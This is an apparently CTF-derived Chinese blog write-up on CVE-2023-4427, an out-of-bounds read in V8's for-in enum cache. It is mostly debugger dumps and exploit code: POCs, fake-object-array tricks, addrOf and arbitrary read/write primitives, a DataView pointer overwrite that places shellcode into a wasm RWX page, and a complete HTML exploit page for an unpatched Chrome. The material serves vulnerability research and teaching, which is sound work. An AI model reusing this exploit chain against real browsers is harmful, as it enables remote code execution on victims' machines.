1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
DebugPrint: 0x123a001c959d: [JS_OBJECT_TYPE]
- map: 0x123a000d9d01 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x123a000c4be9 <Object map = 0x123a000c4225>
- elements: 0x123a000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x123a000006cd <FixedArray[0]>
- All own properties (excluding elements): {
0x123a00002a21: [String] in ReadOnlySpace: #a: 2 (const data field 0), location: in-object
0x123a00002a31: [String] in ReadOnlySpace: #b: 3 (const data field 1), location: in-object
}
0x123a000d9d01: [Map] in OldSpace
- map: 0x123a000c3d01 <MetaMap (0x123a000c3d51 <NativeContext[285]>)>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 2
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- back pointer: 0x123a000d9cb1 <Map[28](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x123a000d9cf9 <Cell value= 0>
- instance descriptors #2: 0x123a001c9631 <DescriptorArray[3]>
- transitions #1: 0x123a000d9d7d <Map[28](HOLEY_ELEMENTS)>
0x123a00002a41: [String] in ReadOnlySpace: #c: (transition to (data field, attrs: [WEC]) @ Any) -> 0x123a000d9d7d <Map[28](HOLEY_ELEMENTS)>
- prototype: 0x123a000c4be9 <Object map = 0x123a000c4225>
- constructor: 0x123a000c472d <JSFunction Object (sfi = 0x123a003367e5)>
- dependent code: 0x123a000006dd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

DebugPrint: 0x123a001c95e1: [JS_OBJECT_TYPE]
- map: 0x123a000d9d7d <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x123a000c4be9 <Object map = 0x123a000c4225>
- elements: 0x123a000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x123a00000e81 <PropertyArray[0]>
- All own properties (excluding elements): {
0x123a00002a21: [String] in ReadOnlySpace: #a: 4 (const data field 0), location: in-object
0x123a00002a31: [String] in ReadOnlySpace: #b: 5 (const data field 1), location: in-object
0x123a00002a41: [String] in ReadOnlySpace: #c: 0x123a001c967d <HeapNumber 1.1> (data field 2), location: in-object
}
0x123a000d9d7d: [Map] in OldSpace
- map: 0x123a000c3d01 <MetaMap (0x123a000c3d51 <NativeContext[285]>)>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 1
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- stable_map
- back pointer: 0x123a000d9d01 <Map[28](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x123a00000a31 <Cell value= 1>
- instance descriptors (own) #3: 0x123a001c9631 <DescriptorArray[3]>
- prototype: 0x123a000c4be9 <Object map = 0x123a000c4225>
- constructor: 0x123a000c472d <JSFunction Object (sfi = 0x123a003367e5)>
- dependent code: 0x123a000006dd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
1
2
3
4
5
6
7
8
9
10
pwndbg> job 0x123a001c9631
0x123a001c9631: [DescriptorArray]
- map: 0x123a0000062d <Map(DESCRIPTOR_ARRAY_TYPE)>
- enum_cache: empty
- nof slack descriptors: 0
- nof descriptors: 3
- raw gc state: mc epoch 0, marked 0, delta 0
[0]: 0x123a00002a21: [String] in ReadOnlySpace: #a (const data field 0:s, p: 2, attrs: [WEC]) @ Any
[1]: 0x123a00002a31: [String] in ReadOnlySpace: #b (const data field 1:s, p: 1, attrs: [WEC]) @ Any
[2]: 0x123a00002a41: [String] in ReadOnlySpace: #c (data field 2:d, p: 0, attrs: [WEC]) @ Any

新的描述符中不再拥有之前的缓存,不过旧的描述符里还保留着:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> job 0x123a001c95fd
0x123a001c95fd: [DescriptorArray]
- map: 0x123a0000062d <Map(DESCRIPTOR_ARRAY_TYPE)>
- enum_cache: 2
- keys: 0x123a000d9d51 <FixedArray[2]>
- indices: 0x123a000d9d61 <FixedArray[2]>
- nof slack descriptors: 0
- nof descriptors: 3
- raw gc state: mc epoch 0, marked 0, delta 0
[0]: 0x123a00002a21: [String] in ReadOnlySpace: #a (const data field 0:s, p: 2, attrs: [WEC]) @ Any
[1]: 0x123a00002a31: [String] in ReadOnlySpace: #b (const data field 1:s, p: 1, attrs: [WEC]) @ Any
[2]: 0x123a00002a41: [String] in ReadOnlySpace: #c (const data field 2:s, p: 0, attrs: [WEC]) @ Any

再然后是涉及具体的缓存如何被使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 2;
object2.b = 3;
const object3 = {};
object3.a = 4;
object3.b = 5;
object3.c = 6;

for (let key in object2) { } // forin enum cache generate

function trigger() {
for (let key in object2) {
console.log(object2[key]);
}
}

% PrepareFunctionForOptimization(trigger);
trigger();
% OptimizeFunctionOnNextCall(trigger);
trigger(); // ReduceJSLoadPropertyWithEnumeratedKey optimization

通过跟踪 SON,我们可以找到大致如下内容:

  • 获取对象的 map 成员

  • 获取描述符

  • 获取枚举缓存

  • 获得 keys

  • 获得长度

  • 储存在栈上

不知道您读到这里是否意识到了问题所在,这里存在一个非常巧妙的问题:假设代码在加载了长度以后重新更新了这份缓存,而新缓存的长度小于旧缓存,由于更大的长度已经事先被加载到栈上了,因此以它作为基准将有可能出现 OOB。

该漏洞相关的最简 POC :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 2;
object2.b = 3;
const object3 = {};
object3.a = 4;
object3.b = 5;
object3.c = 6;

for (let key in object2) { }

function trigger(callback) {
for (let key in object2) {
callback();
console.log(object2[key]);
}
}
% PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
% OptimizeFunctionOnNextCall(trigger);
trigger(_ => {
object3.c = 1.1;
for (let key in object1) { }
});

在 Debug 版本下,该代码将会导致崩溃,而在 Release 下,它的结果如下:

可以看到,该操作导致了预料之外的问题,本该输出 3 的代码却在优化后导出了 1

不妨大致跟一下:

  • 获取 map

  • 获取描述符

  • 获得枚举缓存

  • 获取长度并储存

地址不一定一样,前后为了调试方便分别用了 Debug 和 Release 版,优化等级有所不同。

但是长度由旧的缓存决定,而在修改 object3 以后生成了新的描述符和缓存,此时将会使用新的描述符和缓存来获得实际的内容:

此处获取的缓存是来自于如下代码生成的内容:

1
for (let key in object1) { }

由于 object1 只有一个成员,因此缓存的数组长度也仅为 1,但上限却事先被设定为 2,因此在循环中将会导致 OOB 从而越界将数组外的数据作为偏移进行访问。

相关代码如下:

在访问时会从 rbp-0x28 读出先前写入的 map 然后按照上述的顺序重新获得缓存,不过新的 map 下的缓存已经更新了,而新缓存没有索引为 1 的项,那么其索引为 1 处的值就会被作为偏移以获得对应的属性。

漏洞利用

任意偏移读

根据上文的这些分析,我们获得了一个不确定的越界读能力,接下来我们希望完成的是如何让它能够稳定的去内存里访问特定数据呢?也就是说能否构造成任意地址读。

这个问题在该漏洞发现的 issue 中已被提及:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
class Utils {
static BigIntAsDouble(big_int) {
Utils.#big_int_array[0] = big_int;
return Utils.#double_array[0];
}

static DoubleAsBigInt(big_int) {
Utils.#double_array[0] = big_int;
return Utils.#big_int_array[0];
}

static CreateObject(prop_count) {
let object = {};
for (let i = 0; i < prop_count; ++i)
object[`p${i}`] = 1;
return object;
}

static InitEnumCache(object) {
for (let key in object) { }
}

static AllocateInOldSpace(...bytes) {
let string = String.fromCharCode.apply(null, bytes);
Utils.#empty_object[string];

}

static #big_int_array = new BigUint64Array(1);
static #double_array = new Float64Array(Utils.#big_int_array.buffer);
static #empty_object = {};
};

Utils.AllocateInOldSpace(1);

const object1 = Utils.CreateObject(1),
object2 = Utils.CreateObject(9),
object3 = Utils.CreateObject(10);

Utils.InitEnumCache(object2);

function trigger(callback) {
for (let key in object2) {
if (key == "p7") {
callback();
return object2[key];
}
}
}

%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger);

trigger(function() {
object3.p9 = 1.1;
Utils.InitEnumCache(object1);
Utils.AllocateInOldSpace(0x42, 0x42, 0x42, 0x42);
});

运行该 POC 会导致内存崩溃,相应的位置如下:

显然此处的 r9 作为索引去获得属性值,而该索引过大导致了崩溃,而这个 0x10909090 是从 Utils.AllocateInOldSpace(0x42, 0x42, 0x42, 0x42) 而来的,公式为 ([buf]/2-1)/2 ,也就是 (0x424242/2-1)/2==0x10909090。因此在这个 POC 的基础上做一些修改就可以直接完成指定偏移读了。

这里姑且提一下这份 POC 为什么能够准确的使用到 0x42424242。

这是一份标准的描述符下的偏移数组 indices

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> job 0x0c5b000da741
0xc5b000da741: [FixedArray] in OldSpace
- map: 0x0c5b00000565 <Map(FIXED_ARRAY_TYPE)>
- length: 9
0: 0
1: 2
2: 4
3: 6
4: -2
5: -4
6: -6
7: -8
8: -10

在这里标记了该数组位于 OldSpace ,而该内存空间相对于 NewSpace 来说是相对稳定且不经常变动的,如下是内存视图:

1
2
3
4
5
6
7
8
9
pwndbg> x/32wx 0xc5b000da741-1
0xc5b000da740: 0x00000565 0x00000012 0x00000000 0x00000004
0xc5b000da750: 0x00000008 0x0000000c 0xfffffffc 0xfffffff8
0xc5b000da760: 0xfffffff4 0xfffffff0 0xffffffec 0x000006a5
0xc5b000da770: 0x000da715 0x000da741 0xbeadbeef 0xbeadbeef
0xc5b000da780: 0xbeadbeef 0xbeadbeef 0xbeadbeef 0xbeadbeef
0xc5b000da790: 0xbeadbeef 0xbeadbeef 0xbeadbeef 0xbeadbeef
0xc5b000da7a0: 0xbeadbeef 0xbeadbeef 0xbeadbeef 0xbeadbeef
0xc5b000da7b0: 0xbeadbeef 0xbeadbeef 0xbeadbeef 0xbeadbeef

对于尚未被使用的内存,均使用 beadbeef 填充,因此可以看出,在我们为它创建了描述符以后,被放在了该空间的高地址处,也就意味着如果有办法往该空间创建额外的内容,那么就必定在内存连续的特定偏移下。

而通过代码中的 AllocateInOldSpace 能够实现这个操作,从而在特定偏移处输入用户定义的内容,在发生越界以后将输入内容作为偏移。

准备工作

为了完成完整的利用,我们事先准备一些将要用到的函数。这里读者可以直接复制使用:(此处的 shellcode 为 Ubuntu 下弹出计算器的相关代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}

function gc()
{
for(var i=0;i<((1024 * 1024)/0x10);i++)
{
var a= new String();
}
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var shellcode = [
0x622fbb4899583b6an,0x48530068732f6e69n,0x480000632d68e789n,0x1ce852e689n,0x3d59414c50534944n,0x656d6f6e6720303an,0x616c75636c61632dn,0x8948575600726f74n,0x90050fe6n,0x28ffcb5377cfdb00n,0x0n,0x7fb4c1c7c083n,0x7fb4c1e96620n,0x7ffede705358n,0x100000000n,0x5619398be169n,0x5619398be270n,0xeec47372b188cf9bn,0x5619398be080n,0x7ffede705350n,0x0n,0x0n,0x1139cf921568cf9bn,0x11adf0fd31e6cf9bn,0x0n,0x0n,0x0n,0x1n,0x7ffede705358n,0x7ffede705368n,0x7fb4c1e98190n,0x0n,0x0n,0x5619398be080n,0x7ffede705350n,0x0n,0x0n,0x5619398be0aen
];

class Utils {
static BigIntAsDouble(big_int) {
Utils.#big_int_array[0] = big_int;
return Utils.#double_array[0];
}

static DoubleAsBigInt(big_int) {
Utils.#double_array[0] = big_int;
return Utils.#big_int_array[0];
}

static CreateObject(prop_count) {
let object = {};
for (let i = 0; i < prop_count; ++i)
object[`p${i}`] = 1;
return object;
}

static InitEnumCache(object) {
for (let key in object) { }
}

static AllocateInOldSpace(...bytes) {
let string = String.fromCharCode.apply(null, bytes);
Utils.#empty_object[string];

}

static #big_int_array = new BigUint64Array(1);
static #double_array = new Float64Array(Utils.#big_int_array.buffer);
static #empty_object = {};
};

伪造对象数组

既然我们能够在数组中越界读了,而我们知道,读取到的数据是什么类型完全取决于读到的值为单数还是双数,对于单数的情况,又取决于其 0 偏移处的 map,因此我们可以大致构造如下结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//objarr map : 0x0018f109	0x000006cd	0x00208955	0x00000002
//double map : 0x0018f089 0x000006cd 0x00208961 0x00000020
con_buf=0x00208961;
doubleArr_addr=u2d(con_buf+0x18,0);//point to doubleArr[2]
objarr_map=u2d(0x0018f109,0x000006cd);
arr_element_length=u2d(con_buf+0x18+0x10,0xdeedbeee);
const doubleArr=[1.1,doubleArr_addr,objarr_map,arr_element_length,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1,1.1];


%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
%OptimizeFunctionOnNextCall(trigger);

vul=trigger(function() {
object3.p9 = 1.1;
Utils.InitEnumCache(object1);
Utils.AllocateInOldSpace(0x72, 0x60, 0x00, 0x00);
readline();
});
%DebugPrint(vul);

当其越界访问到了 doubleArr[1] 处的地址,那么将会以它为地址去读取对应的值,而如果 doubleArr[1] 的低 4 字节正好指向了 doubleArr[2] ,而我们又将此处伪造成了一个对象数组,那么最终就会返回一个对象数组:

这里因为 Debug 版的检查会导致崩溃,但是这个问题在 Release 下不会发生,可被直接视为一个正常对象。

在 Release 下会是这样的:

代码有改动,因此调试的时候地址可能会有微妙的变化
代码中需要改动的部分包括:

  • AllocateInOldSpace 的参数,用于确定偏移
  • con_buf :值为 element 对象的地址

构造 AddressOf 原语

有了上一步构造出的数组,这一节的工作就非常轻松了:

1
2
3
4
function addrOf(obj) {
vul[0]=obj;
return d2u(doubleArr[4]);
}

由于我们在设定 vulelement 指针正好为 doubleArr[4] ,因此直接写入并读取即可。

构造任意地址读

在本题中笔者的方法相对朴素,通过直接修改 element 字段来实现 4G 空间内的地址读写:

1
2
3
4
5
6
7
8
9
function readaddr(addr){
let temp=doubleArr[3];
double_array[2]=u2d(0x0018f089,0x0006cd);//double array map
double_array[3]=u2d(addr-8,0xdeec);
let res=vul[0];
double_array[2]=u2d(0x0018f109,0x0006cd);//obj array map
double_array[3]=temp;
return ftoi(res);
}

构造任意地址写

1
2
3
4
5
6
7
8
function writeaddr(addr,data){
let temp=double_array[3];
double_array[2]=u2d(0x0018f089,0x0006cd);
double_array[3]=u2d(addr-8,0xdeec);
vul[0]=data;
double_array[2]=u2d(0x0018f109,0x0006cd);
double_array[3]=temp;
}

地址笼逃逸/shellcode 写入

我们知道,在 V8 下一直使用地址压缩的技术,这使得我们无法在其他内存段下进行数据读写。在本题所提供的版本下,可以使用 DataView 来解决该问题,关于详细的利用方法,笔者已经在 该文 有过描述,本文就不再赘述了。

大致的原理是 DataView 在进行数据读写时使用 8 字节指针指向缓冲区,通过修改该指针的值来完成全内存读写。

1
2
3
4
5
6
7
8
9
10
11
12
let wasmInstance_demo=addressOf(wasmInstance)+0x48
let rwx_addr=(readaddr(wasmInstance_demo));

var data_buf = new ArrayBuffer(0x400);
var data_view = new DataView(data_buf);
var bk_buf=addressOf(data_buf)+0x20;
writeaddr(bk_buf,itof(rwx_addr));

for (let i=0;i<shellcode.length;++i)
data_view.setFloat64(i*8,itof(shellcode[i]),true);

f();

另外,在该版本下使用 wasm 会生成 rwx 段,因此使用 该文 的方法已经能够完成所有利用了。

最后调用一下对应函数触发 shellcode 即可弹出计算器。

从 d8 到 chrome

在我们完成了对 d8 的利用以后,接下来就是将其适配到 chrome 去了。在过去的几篇文章中,笔者一直未曾介绍过如何调试 chrome,正好本文需要,因此在这里一并做个介绍。

从本质上说,chromed8 的调试方法是一样的,但是由于 chrome 本身是多进程,因此为了找到相应的程序也花了点时间。

附加到 V8

首先按照题目的方式启动 chrome

1
/home/ad/Desktop/Release/chrome --no-sandbox

此时的进程列表中会出现多个进程:

1
2
3
4
5
6
7
8
9
10
11
ad          2026    2025  0 05:46 pts/0    00:00:01 /home/ad/Desktop/Release/chrome --no-sandbox
ad 2028 949 0 05:46 ? 00:00:00 /home/ad/Desktop/Release/chrome_crashpad_handler --monitor-self --monitor-self-annotation=ptype=crashpad-handler --databa
ad 2030 949 0 05:46 ? 00:00:00 /home/ad/Desktop/Release/chrome_crashpad_handler --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler --d
ad 2033 2026 0 05:46 pts/0 00:00:00 /home/ad/Desktop/Release/chrome --type=zygote --no-zygote-sandbox --no-sandbox --crashpad-handler-pid=2028 --enable-crash
ad 2034 2026 0 05:46 pts/0 00:00:00 /home/ad/Desktop/Release/chrome --type=zygote --no-sandbox --crashpad-handler-pid=2028 --enable-crash-reporter=, --change
ad 2056 2033 0 05:46 pts/0 00:00:00 /home/ad/Desktop/Release/chrome --type=gpu-process --no-sandbox --crashpad-handler-pid=2028 --enable-crash-reporter=, --c
ad 2057 2026 0 05:46 pts/0 00:00:00 /home/ad/Desktop/Release/chrome --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-san
ad 2067 2034 0 05:46 pts/0 00:00:00 /home/ad/Desktop/Release/chrome --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-san
ad 2192 2034 6 05:49 pts/0 00:00:00 /home/ad/Desktop/Release/chrome --type=renderer --crashpad-handler-pid=2028 --enable-crash-reporter=, --origin-trial-disa
ad 2197 2034 0 05:49 pts/0 00:00:00 /home/ad/Desktop/Release/chrome --type=renderer --crashpad-handler-pid=2028 --enable-crash-reporter=, --origin-trial-disa

其中,带有 --type=renderer 的进程则为 JavaScript 解释器。不过如您所见,这里有两个符合条件的进程,具体是哪一个需要读者自行确定,在笔者的环境下一般是占用率较高的那个。

在 chrome 下使用调试代码

d8 下我们可以使用诸如 %DebugPrint 这样的函数来帮助我们进行调试,而在 chrome 下,如果需要使用同样的调试函数,那么需要在启动浏览器时添加参数 --js-flags="--allow-natives-syntax"

不过需要注意的是,本题并不提供这样的启动参数,因此在完成调试以后需要去掉这些函数,其中包括了 %PrepareFunctionForOptimization%OptimizeFunctionOnNextCall ,因此后续的调整中,需要使用大循环来让其优化 trigger 函数,这里贴一份笔者的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//% PrepareFunctionForOptimization(trigger);
//trigger(_ => _);
//trigger(_ => _);
//% OptimizeFunctionOnNextCall(trigger);
let sum=0;
let max_cc=0x10000;
trigger(_ => _);
trigger(_ => _);
for(let i=0;i<max_cc;i++)
{
sum+=trigger(_ => _);
sum+=trigger(_ => _);
sum+=trigger(_ => _);
}
for(let i=0;i<max_cc;i++)
{
sum+=trigger(_ => _);
sum+=trigger(_ => _);
sum+=trigger(_ => _);
}

不知道是不是笔者本地独有的问题,对于只调用 0x10000 次并不会让 trigger 被足够多的降级优化,因此笔者这里反复调用了两次。
但是即便如此,在浏览器第一次解析该脚本时也不会触发优化,需要笔者主动刷新一次页面才会发生优化降级。

最终的利用与其他顾虑

最后贴一份只在我本地可用的利用吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
<html lang="en">
<head>
<meta charset="UTF-8">
<title>test</title>
<script>

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

class Utils {
static BigIntAsDouble(big_int) {
Utils.#big_int_array[0] = big_int;
return Utils.#double_array[0];
}

static DoubleAsBigInt(big_int) {
Utils.#double_array[0] = big_int;
return Utils.#big_int_array[0];
}

static CreateObject(prop_count) {
let object = {};
for (let i = 0; i < prop_count; ++i)
object[`p${i}`] = 1;
return object;
}

static InitEnumCache(object) {
for (let key in object) { }
}

static AllocateInOldSpace(...bytes) {
let string = String.fromCharCode.apply(null, bytes);
Utils.#empty_object[string];

}

static #big_int_array = new BigUint64Array(1);
static #double_array = new Float64Array(Utils.#big_int_array.buffer);
static #empty_object = {};
};

Utils.AllocateInOldSpace(1);

const object1 = Utils.CreateObject(1),
object2 = Utils.CreateObject(9),
object3 = Utils.CreateObject(10);

var other={"a":1};
var obj_array=[other];


Utils.InitEnumCache(object2);
var double_array=[u2d(0x288eb9-0x40,0),u2d(0x00256ed9,0x0006cd),u2d(0x288eb9-0x40+0x18,0xdeec),u2d(0x1caba9,0xdeed),2.1,2.1,2.1,2.1,2.1];


function trigger(callback) {
for (let key in object2) {
if (key == "p7") {
callback();
let b=object2[key];
return b;
}
}
}

//% PrepareFunctionForOptimization(trigger);
//trigger(_ => _);
//trigger(_ => _);
//% OptimizeFunctionOnNextCall(trigger);
let sum=0;
let max_cc=0x10000;
trigger(_ => _);
trigger(_ => _);
for(let i=0;i<max_cc;i++)
{
sum+=trigger(_ => _);
sum+=trigger(_ => _);
sum+=trigger(_ => _);
}
for(let i=0;i<max_cc;i++)
{
sum+=trigger(_ => _);
sum+=trigger(_ => _);
sum+=trigger(_ => _);
}
//%DebugPrint(double_array);
//%DebugPrint(wasmInstance);
//%DebugPrint(obj_array);

var vul=trigger(function() {
object3.p9 = 1.1;
Utils.InitEnumCache(object1);
Utils.AllocateInOldSpace(0xc2, 4, 0, 0);
});
//console.log(vul);
//%DebugPrint(vul);
//alert(1);
function addressOf(obj){
vul[0]=obj;
return d2u(double_array[5])[0];
}
//console.log(addressOf(other))

function readaddr(addr){
let temp=double_array[2];
double_array[1]=u2d(0x00256e59,0x0006cd);//double
double_array[2]=u2d(addr-8,0xdeec);
let res=vul[0];
double_array[1]=u2d(0x00256ed9,0x0006cd);//obj
double_array[2]=temp;
return ftoi(res);
}

function writeaddr(addr,data){
let temp=double_array[2];
double_array[1]=u2d(0x00256e59,0x0006cd);
double_array[2]=u2d(addr-8,0xdeec);
vul[0]=data;
double_array[1]=u2d(0x00256ed9,0x0006cd);
double_array[2]=temp;
}


let wasmInstance_demo=addressOf(wasmInstance)+0x48
console.log(wasmInstance_demo);

let rwx_addr=(readaddr(wasmInstance_demo));
console.log(rwx_addr);

var shellcode = [
0x622fbb4899583b6an,0x48530068732f6e69n,0x480000632d68e789n,0x1ce852e689n,0x3d59414c50534944n,0x656d6f6e6720303an,0x616c75636c61632dn,0x8948575600726f74n,0x90050fe6n,0x28ffcb5377cfdb00n,0x0n,0x7fb4c1c7c083n,0x7fb4c1e96620n,0x7ffede705358n,0x100000000n,0x5619398be169n,0x5619398be270n,0xeec47372b188cf9bn,0x5619398be080n,0x7ffede705350n,0x0n,0x0n,0x1139cf921568cf9bn,0x11adf0fd31e6cf9bn,0x0n,0x0n,0x0n,0x1n,0x7ffede705358n,0x7ffede705368n,0x7fb4c1e98190n,0x0n,0x0n,0x5619398be080n,0x7ffede705350n,0x0n,0x0n,0x5619398be0aen
];

var data_buf = new ArrayBuffer(0x400);
var data_view = new DataView(data_buf);

//%DebugPrint(data_buf);
//%DebugPrint(data_view);
var bk_buf=addressOf(data_buf)+0x20;
writeaddr(bk_buf,itof(rwx_addr));



for (let i=0;i<shellcode.length;++i)
data_view.setFloat64(i*8,itof(shellcode[i]),true);


f();
</script>
</head>
</html>

该代码是笔者写于比赛期间的,而在本文撰写时已经时隔多日了,笔者重新开始考虑是否有更加稳定的方式去完成同样的工作。

其中笔者也尝试了通过将对象置于 OldSpace 的方式来试图令其稳定,但并没有解决一旦修改代码就会令偏移改变的问题。因此整个利用的编写前前后后调试了无数遍,相当的痛苦。

如果您在阅读本文后得出了更加精巧的方案,欢迎交流:tokameine@gmail.com

总结

最后总结一下本文的利用手段,一般来说大概能够通用

  • 条件:越界读
  • 构造一个浮点数数组 DoubleArr,将其内容布置为对象数组的内容 ObjArr
  • 通过越界读将其内容视作对象数组读出
  • 构造AddressOf:向 ObjArr 放入对象,再从 DoubleArr 读出即可
  • 构造任意地址读:将 DoubleArr 中对应位设置为 DoubleArr map ,将其 element 对应位设为地址,此时 ObjArr 被视为浮点数数组,读出内容即可
  • 构造任意地址写:同 构造任意地址读 一样,将最后的读取改为写入即可

在完成以上原语以后,后续操作根据实际情况可以考虑写入 shellcode 或者 JOP 或是其他方式进行逃逸即可。

不过似乎最新的版本中已经不再支持这两个方法了,不过又出现了新的逃逸方案,假以时日希望有机会另写一文吧。

参考文章

https://paper.seebug.org/3081/
https://cwresearchlab.co.kr/entry/CVE-2023-4427-PoC-Out-of-bounds-memory-access-in-V8
https://rycbar77.github.io/2023/12/01/CVE-2023-4427%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0/
https://bugs.chromium.org/p/chromium/issues/detail?id=1470668